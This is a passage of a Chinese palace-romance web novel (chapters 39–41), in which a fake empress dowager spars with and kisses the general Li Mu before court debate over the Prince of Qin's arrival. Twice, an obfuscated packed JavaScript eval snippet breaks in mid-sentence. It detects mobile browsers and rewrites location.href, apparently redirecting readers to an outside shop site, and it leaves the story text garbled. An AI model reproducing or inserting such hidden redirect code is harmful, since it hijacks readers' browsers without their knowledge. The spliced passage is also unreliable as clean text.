趁他因为莫名其妙的兴奋放松力道后,朱凝眉趁机抽回自己的手,嫌恶地将手掌在他衣服上擦了几下。 李穆诚恳道歉:“是我的错,你打我千次万次,我都甘之如饴,我只担心你不能解气,反倒把自己的手打痛。今早我听到你让梅景行在房内待了一整夜,不由得嫉妒到发狂。” “他在宫里钻研多年,我嫉妒他了解你的喜好,我嫉妒他轻而易举就能让你高兴,我嫉妒他每次都能在你需要时被你想起。你说得对,我是畜生。我一想到他在你寝殿内侍奉你,我就以为、以为他会绞尽脑汁地在你身上施展那些上不得台面的手段。” “只有我才有资格伺候你,只有我才能看见你动情时的样子。谁敢从我手里抢人,我就要杀了谁!” 朱凝梅被他气得再次抬起手,狠狠一巴掌扇了下去。 李穆的脸上很快出现巴掌印,但他却露出满脸享受的表情,笑道:“微臣多谢太后娘娘的赏赐!” 她居然把李穆给打爽了! 而她自己的手掌却痛得发麻,痛得火烧火燎。 李穆还沉浸在自己幻想出的甜蜜中,丝毫没有被她嫌恶的目光所伤害,这样厚脸皮的他,与朱凝眉印象里最初那个“威风凛凛”“不苟言笑”的李穆南辕北辙;也不像他在旁人面前高不可攀地那个模样。 他就像一条狗,为了吃到肉骨头,被打过之后还不跑,毫无廉耻地向主人摇尾乞怜。 朱凝眉看着他,只觉得有点犯恶心,她从前怎么会爱上这样一个男人?还为他痛苦沉沦了好几年才走出来。 “以后碰到事情,不许你再找梅景行,他只是个太监,心里阴暗扭曲,你和他走得太近没什么好处。”李穆叹了口气,道:“虽然我也不是什么好东西,但我总比太监强点。” “我就是喜欢找太监,我就是不喜欢你!宫里的每一个太监都比你好百倍千倍万倍!”朱凝眉狠狠骂道:“你当我天生贱骨头?喜欢找个人来气我?太监至少不会忤逆我,践踏我!” “你也没少践踏我!”李穆语气阴森地道:“梅景行是有几分能耐,可他只能耍些阴私伎俩,他是只能在阴暗处爬行的老鼠。我高兴,便赏他一口饭,允他多活几日。我不高兴,一脚就能把它踩死。” 朱凝眉见悦容端着洗漱的水不敢进来,走出去,亲自把水端进来。她把洗脸盆放下,慢慢洗干净手,再用帕子擦得干干净净。做完这一切,她才觉得李穆留在掌心的恶心、黏腻不见了。 “你有什么资格骂他呢?若他也能得到贵人赏识,不用进宫当太监,被举荐到战场上杀敌立功,凭着他的本事,难道就不能像你一样为自己奔出个前程出来?”朱凝眉狠狠道:“李穆,你别太自大,让我瞧不起你!” 李穆安静地看着她,眼中的脆弱一闪而过,如柳枝轻拂碧波,只荡漾了一瞬。他笑着问:“你后悔了?” “后悔什么?”朱凝眉不解。 原来朱雪眉不记得那些事! 李穆心想,对当年的朱雪梅而言,她记不住随手帮助过的马夫,再正常不过,他不应对此耿耿于怀。她心地善良,对路旁的乞丐都会好心施舍。而她一次无心的善举,却成全了他的一生。 李穆对此感激涕零,牢记多年,在心中将她奉若神灵。可她不知此事对他有多重要,轻轻一句话,便如同否定了他的前半生。 但他必须装聋作哑,将这份脆弱的心事埋在心底,否则他便会输得丢盔弃甲,任由她拿捏。可到底李穆对她,还是生出了几分怨气,坐在一旁沉默着不说话。 朱凝眉见他不闹了,便吩咐悦容把洗漱用具全都端进来,再将她昨夜弄脏的衣裳和白色小毯子拿出去。 洗漱过后,用完早膳,又换了一次月事带,回来看李穆,还像根木头似的杵在那里生闷气。 吃饱饭之后,朱凝眉这才有心思思考,他究竟为何生闷气。 生完气,骂他一通之后,朱凝眉心里舒服多了,此时见他安安静静地坐在一旁,也不再觉得他有多讨嫌。 将心中的恶意释放出来之后,她又想当个好人,逗他笑。毕竟她还有求于他,总不能一直这样僵着。 朱凝眉走出去,端来一碗红豆粥给他,还贴心地在红豆粥里放了点咸菜。好歹曾经夫妻一场,她记得李穆爱吃咸的,不爱吃甜的。 李穆愣了愣:“给我的?” 朱凝梅冷冷道:“喂狗的,爱吃不吃。” 李穆昨夜在孩子病床前守了整夜,等到孩子退了烧,哄着孩子喝了药,已是天亮。他正值壮年,食量大,很容易饿。 拿着下人刚端上来的牛肉饼吃了两口,又听到她把梅景行召到宫里守了整夜,一时生气,顾不上饥肠辘辘的肚子,匆匆跑来宫里。 她端到眼前的这碗红豆粥,合他的口味,但他又有些犹豫。 “我没有在粥里放毒药!”朱凝眉当着他的面,自己尝了一口,道:“吃吧,我已经帮你试过毒了。” 李穆这才确认,她是在向自己示好。 她已经不生气了。 看到她主动示好,李穆这才重新有了笑脸,向她表达歉意:“我今日生气,并非实在质疑你对我的感情。是我心眼太小,妒性太大,习惯了把人往坏处想。” “回到京城后的日子,比在战场还危险。朝堂之争,尔虞我诈,若我不把人往坏处想,便活不到现在。” “吃都堵不住你的嘴!”朱凝眉把红豆粥往他手里塞,道:“我对你能有什么感情?我们之间,不过是相互利用罢了。你图我身子,我图你能护住我们孤儿寡母。我月事还要几日才能走干净,等我身子好了,我会让你如愿的!” 李穆端着红豆粥,羞得脸颊通红,承认也不是,否认也不是。他图的是她整个人,也包括她的身子,他害怕自己急于否认,她便不愿意给了。 李穆顺坡,承认自己是色中恶魔,避免了与她再次争执。 朱凝眉见他三口两口便把一碗红豆粥喝完,怕他吃不饱,又道:“外面桌上还有烙饼、鸡蛋和牛乳,给你留着呢。自己去吃吧,我不想伺候你。” “岂敢让太后伺候微臣!”李穆端着空碗,起身往屋外走。 朱凝眉拿出昨夜匆忙给他绣的荷包,荷包上的“穆”字还有最后一撇没收尾。等她把荷包绣完,李穆也吃完早饭,走了回来。 李穆回来的时候,朱凝眉正好在收最后一针。他见到荷包上的穆字,惊喜不已,问:“给我绣的?” 朱凝眉实在看不惯李穆这满脸高兴的模样,可她又必须把李穆哄高兴,她对李穆的仇恨和防备,已经快要将他逼疯,这并非她进宫扮演的初衷。 她对李穆的复仇,并非是因为她内心有化不开的结。她已经从过去走出来了,只是现在偶尔想起从前那些回忆,才会生气。 她对李穆的报复,只为解闷,不能成为她的破绽。 看李穆被自己三言两语哄得开心,朱凝眉并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759154|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出多少欢喜。她心里很清楚,李穆的开心是因为他以为站在面前的人是朱雪梅,而并非朱凝眉。 想到这些,一股淡淡的厌倦再次席卷而来。这厌倦,与李穆无关,是她对皇宫生活的厌倦。 李穆是个好了伤疤忘了疼的人,得了那个荷包之后,他很快便忘记了两人之间的争执,重新对她讨好起来。 朱凝眉虽然肚子不疼了,身体却还有些虚弱,她绣完荷包后眼睛有些疼,走出寝殿,去榻上躺着。 这时悦容已经安排工匠来修寝殿内殿那扇被李穆踢坏的门。谁知李穆竟然连工匠的醋也吃,不肯让工匠进去,非要自己修。 朱凝眉觉得他脑子有病,但也犯不着因为这点小事和他再吵架,于是随他去了。 李穆修门时,发出叮叮当当的噪声,朱凝眉听着这些噪音,不觉得心烦,反而有种莫名的安定,居然躺在榻上睡着了。 关于做噩梦这件事,她没对李穆说谎,昨夜做了好几场梦,她不记得梦里发生什么,只记得后面有什么人在追,她一直在疲于奔命地逃。 李穆把门修好之后,便守在她身旁,安静地看着她睡觉。 这是他内心最渴望的时刻。从前打仗的时候,听着兄弟们说那些浑话,他无数次幻想过她的模样。他要将她吃干抹净、欺负得说不出一句完整的话。 在战场上受伤,他不畏疼。其他弟兄伤了胳膊腿,疼得哭爹喊娘时,他总怕自己受伤时大喊大叫的样子落到她眼里,会让她瞧不起。虽然她远在京城,触不可及,可他受伤后闭着眼睛躺在病床上,时时刻刻都想着她就在他身边,照拂他,为他受伤而流泪。 他也不怕死,死了就什么都不知道了。但他更想好好活着,到她身边,和她在一起! 他最害怕自己活着却缺胳膊少腿,这比让他死了还难受!因为残疾的他,注定配不上高贵的她。 现如今,他全胳膊全腿地来到她身边,护着她,看着她,还有什么比这更美的事? 朱凝眉只是打个盹,就醒来。如果不是李穆坐在她身边,她可能要睡到中午才起来。李穆一直在摸她的脸,她一向浅眠,被李穆摸了几下就醒来了。 李穆见她睁开眼睛,温柔地唤一声:“雪梅。” 朱凝眉愣了一下,还没来得及愤怒,李穆已经捧住她的脸,不准她逃。 李穆知道,她讨厌自己叫她名字,她看轻他,认为他不配叫她名字。 可他就是要让她知道,先帝已经没了,从现在起,只有他才能唤她闺名“雪梅”。 他现在是手握六十万大军的忠勇侯,他现在全胳膊全腿地在她面前。说句大逆不道的话,他现在完全可以杀了她儿子取而代之,去当那个皇帝。他并不觉得自己哪里配不上她! 当然,李穆也从不怀疑她嫌弃自己是马奴出身,她不在乎这个,甚至还在大长公主和小皇帝面前维护过他。大概是因为她喜欢的是那种书生气的男子,而非他这种性情洒脱的大老粗。 李穆看着她,却深情地唤着姐姐的名字:“雪梅,” 朱凝眉心中一痛,正想拒绝。 她眼中的嫌弃刺痛李穆的心。 她对他好,正如她所说,只是权宜并非真心。 李穆努力让自己不这样想,人不能既要又要,他实在太贪心,得到了她的人,还妄想得到她的心。 他此时能拥有她,已满足昔日的所思所想。当年他受了伤,躺在病床上,无非是摸一摸她的脸,将她的眉眼镌刻在心上。 李穆一只手轻握住她的下巴,另一只手则缓缓地在她脸上探寻。 他先是温柔地触摸她有些散乱的鬓发,接着是她洁白如玉的耳朵、她如月光一般圣洁的额、如山水般灵秀的眉,还有那挺直娇俏的鼻。 他假装自己是个眼瞎的盲人,正在通过手指,来一点点描摹出她的容貌,想象她的模样。 此时在李穆心里,她就像是不能被玷污的女菩萨。他想亲亲她,不带任何情欲地亲她。他只想让她知道,他对她有多么珍爱和尊重。 朱凝眉心里很清楚,李穆现在看到的人是朱雪眉,她无意破坏李穆的幻想和兴致,甚至愿意完全配合,因为她还有求于他。 他的手指摸到她的肩膀,往下滑,摸到了峰丘之地,却未在那里停留。 他不带任何情欲,但朱凝眉却被他撩拨得浑身起火,尤其她正在月事快要离开时,此时身子正是敏感的时候。但她羞涩,不愿让李穆看到自己的丑态,于是放缓呼吸。 李穆听到她紊乱的呼吸,知她羞涩,只是笑了笑,没有因此而取笑她,或者说什么浑话,让她难堪。 李穆的指尖往上爬,终于摸到她的唇瓣,她的唇红润丰满,他细细摩挲着她的唇珠,心里的火山爆发出来。 “让我亲亲你,雪梅。” 说完,他的唇已经主动贴过来。 40. 第 40 章 李穆熟练地入侵她的唇齿,融到她的呼吸中,滚烫的气息,让她心慌。 这样的李穆,让她产生错乱的幻觉,仿佛她回到五年前,回到他们刚相识的时候,她会忍不住想,当年的李穆是否爱过自己。 但这个念头很快被她掐灭,她瞪大双眼,用力推开李穆。 她的拒绝,让李穆受到挫折,他不再逼迫她,只是装出一副可怜的样子,道:“我什么都不做,我只想亲亲你。” 朱凝梅有些混乱。 她还恨着李穆,这是毋庸置疑的事,她逮住机会就想让李穆吃瘪,让他受气,看他难堪。唯有如此,她才能放下心中的怨念,好好过自己的日子。 可她恨李穆并不耽误她依旧会被李穆吸引,他这样软软地求饶,她就心软,有那么一时片刻想要对他予取予求。 李穆喜欢的是朱雪梅,不是她!她不能走母亲的老路,心甘情愿成为旁人的替身,只为去靠近那个心中仰慕的人。 情爱固然能予她愉悦,但也会让她变得愚蠢。她对男女之事没那么在乎,可以满足李穆的□□,却不能陪他谈情说爱。 她不能再陷进去! 更何况,他们之间还横亘着他现在的夫人——夏芍。 夏芍真是她的好姐妹,总能在关键时刻,帮她一把。 “李穆,你有夫人,有儿子。我们注定只是无媒苟合的、见不得光的一对奸夫□□。你无须对我投入太多的感情,我也不必回应你什么。就当是给你的夫人和孩子,留些体面吧!” 即使她依旧知道,夏芍和李穆并非真正的夫妻关系,忠勇侯世子也并非他的亲生儿子。 可是在李穆心里,夏芍的确是他明媒正娶的妻子,还给他生下唯一的孩子。 所以,朱凝梅只能极尽全力地表现出负罪感,让李穆对她望而却步,不敢再往前走一步。 李穆没什么负罪感,他若有半点妇人之仁,早在战场上被敌人杀死,早在回京后被同僚陷害。当初争夺京城军防的时候,上一任五城兵马司统领陈将军在秋狩时,悄悄抓走夏芍和他两岁的儿子,逼他自尽。 李穆把夏芍和儿子救回来,然后当场击杀陈将军,找个由头将陈将军的家眷流放去漠北。 李穆坦然道:“我与夏芍并无男女情爱,只有契约婚姻,我早就跟你解释过此事。若你在意,我会给她一纸和离书,放她离开。她还年轻,我可以认她做义妹,另嫁高门。” 朱凝眉心里酸酸涩涩,说不上来是什么滋味。 李穆这是什么意思呢? 他对朱雪梅可真好!依稀想起来,曾经的李穆,也对她这样温柔过。 朱雪梅逼着自己不再思考李穆是否爱过自己,这都不重要,总归他现在最爱的女子是朱雪梅,而非朱凝梅。 李穆颇有些意外,她听到这番话,没有表现出任何欣喜,反而更加茫然。 “昨日你说,我不让你不好过,你也不会让我妹妹好过。这是气话还是出自真心的?你当真那么恨我妹妹?” 李穆看着她的脸,心想,他只有足够坦诚,才能获得她的理解。 “是气话,你把它忘了吧。”李穆叹气:“虽然你常常骂我是畜生,但我自认还有几分真心。你妹妹,我也喜欢过她。那是因为我觉得自己再也得不到你,便将对你的感情,全部倾注在她身上。” 朱凝眉听到李穆曾经喜欢过自己,心跳忽然变得很快,如同置身于万马奔腾的草原,她就站在中间,有种随时会被马蹄淹没的恐惧袭上心头:“那你现在喜欢的是谁?你分得清我和她吗?” 李穆嘴唇微动,可朱凝眉忽然不想听他说下去,主动起头,堵住他的唇。李穆自然毫不客气,卷起她的唇珠吻了吻,与她温柔缠绵一会儿后,才继续道:“我现在喜欢的当然是你!” “雪梅,我求你,别轻易否认你对我的感情。我固然狂妄自大、厚颜无耻惯了,可我能察觉到,你对我的喜欢。只是你我之间还夹杂着你妹妹、夏芍、小皇帝还有小野——还有你女儿。我可以等你理清楚这些事,再来爱我,我等得起!但你必须明白,我对你的爱,超出你的想象!” 朱凝眉倒是已经完全冷静下来,纵然她对李穆还有几分怜爱,但她已经弄清楚。她对李穆的爱,是对他赫赫战功的崇拜,对他伤口那些疤痕的同情,还有对他往日庇护自己的感激。如果不是李穆,父亲当年便听从妻妾的挑唆,将她许配给那位死了好几个老婆的鳏夫。 那老鳏夫长着大肚子、酒糟鼻,牙齿长得并不齐整,朱凝眉看见他便害怕。 好歹李穆容貌俊秀,虽然眉头有一道疤,但这道疤痕丝毫不减他的俊美,反而为他这张脸,增添一丝异样的风情。 她已经释怀,当年的李穆也未通情事,不知道自己真正想要的是什么。如今他权势滔天,明白自己真正想要的东西是什么,自然要极力争取。 朱凝眉忽然又觉得他很可怜。李穆并不知道,他正在竭力争取的,并非他梦寐以求之人。 她是假太后,是替身,是那个被他抛弃的前妻。 李穆见到她眼中的怜悯,打蛇随棍上,立即将头埋在她颈窝里,对她撒娇道:“当年打仗的时候,我被人砍一刀,肠子都流出来。我当时躺在地上,心想,也不知道自己能不能活着回来见你。我虚弱地躺在地上,心想,若我这辈子都不能亲一亲你,简直活得窝囊透顶。” 李穆终于确认,她喜欢的是战场上的李穆,而非她眼前的李穆,所以他尽可能地对她说些从前的事,博取她的怜惜。 “我那时候,唯一的心愿就是活下来,回来见你,然后亲一亲你!”李穆的唇,碰碰她的耳垂,温柔道:“让我亲一亲你吧,别对我心生抵触,睁开眼睛看看我。我只是个可怜的男子,得不到你的怜惜,哪怕我拥有再多权力和财富也充满遗憾。” 朱凝眉知道,李穆没有受伤,但他的语气的确很虚弱,仿佛下一刻就会咽气似的。她毫不怀疑李穆从前受过伤,差点死在战场上,他书房里的书架上清清楚楚地记载他在战场受过的伤和他经历的每一次战事。 她愿意给他这个吻,但不是以太后的身份,而是朱凝眉的身份。但李穆想要的是朱雪眉的吻,她不想欺骗他。 李穆感受到她的怜悯和退却,于是主动地将唇覆上去,衔住她的唇珠,启开她的唇齿,含住她的香舌,仿佛撷住春日里开得最盛的那束白薇。 朱凝眉已经被他缠住,哪怕再不愿意,也躲不掉。 她不愿留在此刻,接受沦为替身的羞辱,她的思绪飘忽到五年前,她第一次吻李穆的那个夜里。 那时他们已经订婚,李穆对她一直以礼相待,从未有过逾矩。 朱凝眉心里着急,担心李穆不喜欢她。现在想起来,她当时的担心是对的,李穆果真不爱她,否则会对她那样冷淡。 当时她还以为李穆是君子,和夏芍一起在书店里买画本子,甚至找那些有经验的娘子请教,该如何抓住李穆的心。 她从这些经验里,学到女子应该主动。于是她那日大胆地留住李穆,踮起脚,羞涩地吻住他的唇。 当时,她和李穆都没有亲吻的经验,她只知将唇覆在他唇上,接下来的事情她便一无所知。 李穆似乎也不懂男女情爱,不知如何进退,只是捧着她的头,紧紧贴着她的唇,不肯让她离开。 两人唇瓣相接,停留很久,却都心跳如鼓,面红耳赤,直到大哥敲门,将他们二人惊醒。 此刻,李穆见她羞涩地闭上眼睛,乖巧得像只猫一样,顿时觉得心满意足。能得到片刻的宁静,他已经很满意。 但朱凝眉还沉浸在往事中,将嘴唇和牙齿闭得紧紧的。李穆先前已经启开她的唇,出去以后,再要叩门而入,已是不能。 但她却没有抵抗,仿佛只是因为缺乏亲吻的经验,才故意将唇紧闭。 李穆顿时心中大喜,难道她和先帝并不如她所说的那般恩爱?也是,先帝那般古板无趣的人,怎么懂得讨好女子? 到第二日,他去家里接她,找的理由是要给她置办些陪嫁。可她上了马车后,便被李穆捞在怀里亲吻。 朱凝眉吓得瑟缩,赶紧闭上眼睛。李穆忽然像是被打通关窍,她的唇珠被他舔了舔,她感觉很怪,却并未抗拒。 她已经看过避火图,知道他们将来还要做更亲密的事,于是纵容他,任由他撬开自己的唇,吸吮自己的舌。 直到李穆将那滑溜溜的东西送进她嘴里,她才吓得推开他! 朱凝梅忽然清醒过来,她居然还在眷恋过去!她还在沉迷于从前的回忆,于是心生恐惧,用力推开李穆的脸,大口喘着气,拒绝道:“不行,李穆,不可以!” 李穆受伤地问:“为何不可?” 她看着李穆的脸,很快给自己找到正当的理由! “我可以给你我的身子,因为我有求于你。但我不能把我的心给你,我是太后,我要给先帝和儋儿留些体面。” 李穆总觉得事情绕来绕去,又回到原点,就像鬼打墙一样。 但朱凝梅知道她在做什么,她必须牢牢掌握着主动权,而不是被李穆牵着鼻子走。 李穆吹垂着眼,没有表情,看不出喜怒。 朱凝梅手指紧紧攥住他的衣服,怕他忽然生气离开,但她折腾这么久,还没说正事。主要是她有求于李穆,却不能直接把所求之事说出来,免得她被李穆拿捏。 她一时想不出办法,让李穆主动来问她遇到什么难事,死皮赖脸地非要帮她解决。 她已经在杀死大长公主的事情上,吃过一次甜头,还想再吃第二次。 因为她想不出办法,只好先缠着李穆。 李穆见她紧紧拽着自己的衣服不肯放,终于又笑起来:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765111|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯把心给我,又舍不得我走。你这是拿我当猴耍呢?” 朱凝梅看他一眼,还是不肯放手。 李穆想起她这模样,回忆起那次她来葵水的那个晚上,也是这样的表情,便知道她为何要强留自己。 “有事要跟我商量?”李穆知道她脸皮薄弱,没有说她有事求他,只说他愿意留下来与她商量。她愿意求他,是好事,总好她过去求梅景行。 朱凝眉等的便是他主动来问,于是立刻道:“秦王入京,此刻就在城外。儋儿想见他,又怕你不同意,便求到我这里。我——我对朝堂之事不甚了解,不知该如何处理,想请教你。” 李穆问:“你总是为旁人着想,你自己呢?你想见他吗?” “我?”朱凝梅疑惑道:“我和他并不熟悉,为何要见他?” 李穆将柔软的唇贴在她的额头上,道:“因为陆家向来有兄死弟继的传统,先帝死后,你可以嫁给他。若他喜欢你,便会帮着你来对付我。你喜欢陛下和舒亦那样的温润如玉男子,恰好,秦王长得和先帝年轻时一模一样,浑身透着书卷气。见到他,你一定会很开心!” 朱凝眉没好气地在他肩膀上轻轻咬一口。 李穆兴奋道:“力道太小,皮都没咬破。” 朱凝没瞪他一眼,不再理他,拿起一旁的《周易》看起来。 李穆忽然道:“你知道着皇位原本是属于秦王的吗?” 朱凝眉愣住,摇摇头。 李穆继续道:“没准在秦王的心里,你也是他的。” 朱凝眉拿书轻轻砸他一下,道:“你能不能别再提这种事情!明知我不喜欢听还要说,有意思吗?” 李穆道:“你又不肯把心给我。我知道自己是个只知道带兵打仗的糙汉子,你看不上我这样的人。可我刚把你哄好,又来个秦王跟我抢人,心里自然不高兴!” 朱凝眉见他那油盐不进的样子便头疼,道:“你走吧,当我今日什么也没说,你什么也没听。” 李穆打量她一会儿,才道:“刚才只是我的猜测,你该不会早前便跟秦王认识吧,难道他真是冲着你来的?” 朱凝眉直言道:“你有病便去找太医看病,别在我这儿发疯好吗?” 李穆哀叹道:“你果真嫌弃我!罢了,明日我便陪你们母子去城外会一会秦王吧。你们多年不见,也许他变得秃头、大肚腩、酒糟鼻呢?总要让你看一眼死了这条心,才肯踏踏实实地跟着我。” 朱凝眉静了一瞬,终于听出李穆话语中的调侃,她咬着牙,用力将李穆推倒在床上。李穆丝毫不反抗,顺势倒在床上,笑盈盈地,想看她要做什么。 李穆那得意的模样,看得她越来气,她迅速抓起一旁的枕头,朝着李穆身上狠狠砸。砸了十几下还不解气,恨不得拿枕头捂死他! 她想到,便这么做。可她没什么力气,李穆半点都不反抗,闷闷的笑声透过枕头传出,震得她手发麻。 没过多久,朱凝眉反倒先没力气,歇在一旁喘气。 李穆坐起来,重新将她搂到怀里,笑道:“今日你对我这样好,又给我喝粥,又帮我绣荷包,还不让我看出你的企图,我自然心里着急。” “平日对你不好,你要甩脸子。今日我对你好,你又要怀疑我的企图,还觉得我会在饭菜里对你下毒!”朱凝眉累得瘫倒在他怀里,口干舌燥道:“你这个人,也太难讨好了。” 李穆是很难被讨好的人,大多数人都摸不准他的喜好。他不沉迷声色犬马,除了打仗,争权夺利,似乎没有别的喜好。大多数想讨好他的人,往往摸不到门路。 可朱凝梅却能摸准他的脉搏!她一句话便将李穆哄开心。 “你对我又咬、又打,还想闷死我。你说这是讨好我?” “我要喝水,你去倒杯茶来。”朱凝眉推推他,理直气壮地指示他去伺候自己。 李穆欣然起身,帮她倒水,伺候她喝水。朱凝眉虽口渴,只喝一口便摇头。李穆就着她喝过的杯子,打算将剩下的水喝完。 朱凝眉连忙阻止:“别一口喝了,你给我留点。” 李穆愣了愣,喝过一小口后,又不露声色地将杯子递回她嘴边:“急什么,不够我再去帮你倒就是。” 李穆一眨不眨地看着她,见她并不嫌弃自己,反而神色自然地在他的唇碰过的地方继续喝水。 见到这一幕,李穆的心跳加速,心脏怦怦跳,心头开始发烫,就连手也在发抖,似乎连杯子都握不住。 朱凝眉目的已经达到,便正色道:“我告诉你秦王来了京城,是想知道他会不会害你。若他想害你,你便教教我,该如何保护你。在安宁宫里,关起门,我们该怎么吵架便怎么吵架。打开门,走出安宁宫,我与你便是牢不可破的盟友。” 李穆不知该如何形容此刻的感动,她嘴上不肯承认,心里却一直装着他! 41. 第 41 章 秦王陆弘,是陆儋的叔父,也是先帝最小的弟弟。年三十五,自十二岁起便驻守苏浙两省,坐拥苏浙地区的漕运、盐铁、丝绸等专营权。秦王府库充盈,麾下水军十万,防止南方倭人入侵。陆战骑兵亦有五万。 因为秦王常年向朝廷供奉大量粮饷,在朝臣中素有“贤王”名声。 可实则秦王野心勃勃,暗中将百姓的良田据为己有,将良民变为流民成为麾下私兵。暗中铸造武器和钱币,导致朝廷对货币失去掌控,民间物价飞涨,富者越来越富,贫者越来越贫。 先帝一直想削藩,但当年北疆威胁更甚于南方,先帝分身乏术,只能先解决北疆裂土危机。待北疆事了之后,先帝病重,已无力解决秦王之事,只能由着秦王逐渐坐大。 李穆虽掌中枢兵权,但朝廷内库空虚,北疆边境仍旧需要重兵镇守,需秦王提供军饷。京中世家权贵不满李穆,早想拉他下位,需拉拢秦王压制李穆,却又投鼠忌器——若北疆战事再起,世间无第二个李穆能挡北疆兵患。 目前京城权贵们还在观望中,尚未对秦王下注。 李穆认为秦王之事,堵不如疏。秦王想入京,便让他来。先走一步,看一步,知道他想做些什么,才能想出办法对付他。找到他的把柄,完成先帝未竟之愿,将秦王削藩,拿回秦王对江浙漕运、盐铁、丝绸的专营权。杀掉那些拥戴秦王的富户,毁灭秦王私铸造的钱币。 得到李穆的许可后,梅景行便带着小皇帝陆儋写的圣旨,去宫外接秦王入京。他们先去大长公主府拜祭,再将秦王安顿在宫外的荟英馆。荟英馆原是先帝当皇子时的王府,后用于接待入京觐见的藩王或重臣。昔日,李穆回京时,也曾住过荟英馆。 梅景行安顿好秦王之后回宫,第一件事便是来安宁宫向朱凝眉复命。 朱凝眉见他脸上眉角青一块、紫一块,肿得十分明显,担忧地问:“李穆打你了?” 梅景行见朱凝眉关心自己,心中充满喜悦,脸上的痛也不觉得痛了。“这点伤,不算什么。帮娘娘出主意的那日,奴婢已经料到必有此劫。能为娘娘解忧,是奴婢的福分。” 朱凝眉却气得将手中的茶盏,狠狠地往地上砸。她以为自己已经同李穆说得很清楚了,她已经费尽心思讨好李穆,李穆为什么还要去折腾梅景行? 他是在杀鸡儆猴吗?朱凝梅很讨厌这种被人威胁的感觉。同时,也对梅景行生出几分愧疚。 她对梅景行承诺:“你是被我连累,才受此辱。这笔公道,我会帮你讨回来!” 梅景行望着脸色被气得通红的她,心跳莫名漏了一拍。他长这么大,第一次听到有人说,要帮他讨回公道。他年幼时,被那群太监欺负,是朱凝眉帮他讨回了公道。如今,他被李穆欺辱,她又要帮他讨回公道。 反观他自己,从她入宫第一日起,便没有将她放在心上,给予她应有的尊重。他在宫中厮杀多年,早已分不清什么是“善”什么是“恶”。他做事不择手段,把当年她救他之事,当作是他的本事,未曾对她有过感恩,更未想过要报恩。 可是自她入宫起,她眼中的纯粹的“善良”,她待人的“坦诚”,以及她对他的维护和信任,开始让他反思自己、怀疑自己。 因为他在她眼中,不是“坏人”,只是个人。他还可以当人吗?他还可以回到阳光底下吗?梅景行不知道。 但他知道,若失去她的关心,这世上再无人将他看作是“人”。 梅景行知道她的难处,也怕她和李穆再生争执,连忙跪下道:“这等小事,何必劳烦娘娘动怒。”就当他是在赎罪吧!再给他一次机会,他不会在她刚入宫时,在她寝殿内燃催情香。不会将她女儿的事,告诉大长公主。 李穆能杀大长公主,他也可以做到! 朱凝眉虽看不透梅景行的动机,但她知道梅景行对小皇帝的忠诚,这就够了。她甚至不需要梅景行对自己忠诚,只需要他别再背着自己那些恶心的事就够了。 又过了几日,朱凝眉身上的月事终于走干净了。太医来请平安脉的时候,她故意将月事已走了三日,她将自己不再腹痛之事,说给太医听。反正关于她的事,太医会事无巨细地告诉李穆。 秦王入京,也要上朝,这一次朱凝眉垂帘听政。自从她对李穆说,想“保护”他那日起,李穆便有意让她介入朝政之事。 朱凝眉问过小皇帝陆儋,问他是否反对自己垂帘听政,谁知小皇帝竟也不反对。朱凝眉就有些纳闷了,史书记载,不都反对女子牝鸡司晨吗?他们怎么是反着来的。 太和殿内,小皇帝陆儋坐在龙椅上,李穆坐在小皇帝下首的位置,朱凝眉坐在小皇帝身后,被一扇屏风挡住了众朝臣窥探的视线。宫里的屏风是单面的,她可以依稀看到屏风外的人,却屏风外的人看不到她。 坐在屏风后听了一会儿,朱凝眉在知道为何李穆与小皇帝都同意她上朝。太沉闷了,无论是他们谈话的内容,还是这些大臣身上的熏香味,都让人喘不过气。尤其朱凝眉对熏香的味道很挑剔,她只能闻淡淡的药草香和檀香。 坐在沉闷的大殿内,闻着混杂的熏香味,她的胃病又犯了,差点恶心得吐出来。还好她早上没来得及吃什么,想吐也吐不出来。 透过屏风,可以看到秦王陆弘是个三十多岁的男子,他果真如李穆所说,长得像年轻时的先帝。 这会儿秦王正在向小皇帝献画,画中描述的是“江南风景图”。画卷长十五米,记载了江南百姓充满烟火气的起居生活。卷首五米处,是充满烟火气的江南街景,鳞次栉比的店铺和闲适的游客,由此可看出江南百姓安居乐业,生活富足。 可随着画卷展开,却能看到城外倒塌的茅草屋和饿得面黄肌瘦的百姓。 “启禀陛下、太后娘娘、忠勇侯。今年江南洪灾,江南十四州已成泽国,百姓颗粒无收。若如往年那般,强征三百万石粮食,只怕要逼得百姓揭竿而起啊!臣此番入京,是想替江南百姓求情,让朝廷免了江南百姓今年的赋税,让百姓可趁此机会休养生息!” 鸿胪寺卿早已得到了秦王送来的礼物,于是出列帮他说话:“臣附议。如今北疆战事已平,朝廷早已不需要四十万大军镇守北疆,耗费辎重军粮。边疆领土需要守卫,可百姓才是我朝立足之根本!万不可因兵戈而提高赋税,逼反百姓。” 话音刚落,李穆的亲信,兵部左侍郎便斥道:“荒谬!北疆蛮夷虎视眈眈,虽无大战在即,却仍小冲突不断,这是北狄蛮夷的试探。北疆一旦撤军,那些蛮夷便会卷土重来,届时边关失守,何止江南百姓遭殃?” 